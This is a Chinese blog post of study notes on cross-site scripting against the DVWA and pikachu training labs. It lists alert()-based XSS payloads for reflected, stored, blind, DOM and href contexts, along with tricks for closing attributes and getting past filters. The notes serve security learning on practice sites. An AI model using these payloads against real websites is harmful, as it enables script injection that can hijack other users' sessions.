安全(三):XSS攻击(beef 使用)

DVWA 站点攻击
kali 中 beef 的使用

pikachu站点
XSS攻击的一般步骤:
1、输入特殊字符
2、查看网页源代码
3、看是否存在过滤
4、有闭合标签、闭合属性;

类型

1、反射型
<p>payload</p>
payload:
<script>alert(/xss/)</script>
2、储存型
<p>payload</p>
payload:
<script>alert(/xss/)</script>
3、盲打
登录后台才能看到,在数据库中;
payload:
<script>alert(/xss/)</script>
4、过滤
<p>payload</p>,有过滤<script>标签;
payload:
<img src=x onerror='alert(/xss/)'>
5、Dom型XSS
<a href='payload'></a> 
payload:
’ onclick=”alert(/xss/)>
6、Dom型XSS-X(在url中可以看到)
<a href='payload'></a> 
payload:
闭合属性:
’ onclick=”alert(/xss/)>
闭合标签:

7、XSS - html
<a href='payload'></a>   有过滤字符;
payload:
' οnclick='alert(/xss/)'
8、XSS - href
<a href='payload'></a>
payload:
javascript:alert(111)//
9、XSS - js
payload:
tmac

总结

1、大致可分为:闭合标签、不闭合标签或者标签中间、标签内部;
普通类型:
<script>alert(/xss/)</script>
闭合标签:
' onclik='alert(/xss/)'
</script></script>alert(/xss/)</script>
不闭合标签:
javascript:alert(1)//

2、标签内无法镶嵌其它标签:
<textarea></textarea>
<style></style>
标签内无法执行脚本:
<title></title>
<textarea></textarea>
<iframe></iframe>
<noscript></noscript>noscript 元素用来定义在脚本未被执行时的替代内容(文本)。
<noframes></noframes>noframes 元素可为那些不支持框架的浏览器显示文本,noframes 元素位于 frameset 元素内部
<plaintext></plaintext>


3、输出在src/href/action等属性内,比如
<a href="[输出]">click me </a> 

输出在on*事件内,比如<a href="#" onclick="[输出]">click me</a>
on*事件是可以执行javascript脚本的

4、
-----------------------------标签区别----------------------------------
①<script>alert(/xss/)</script>
②' onclik='alert(/xss/)'
③onmouseover=alert(1) x=
④<img src=x onerror='alert(/xss/)'>

第一个,不需要闭合,也不需要做任何过滤;
第二个,在 a 标签内部用,比如说过滤了“ 这种符号,就用;
第三个,onerror被过滤了,就可以用;
第四个,script标签被过滤,就用img;
发布了49 篇原创文章 · 获赞 2 · 访问量 1493

猜你喜欢

转载自blog.csdn.net/weixin_45273343/article/details/103114660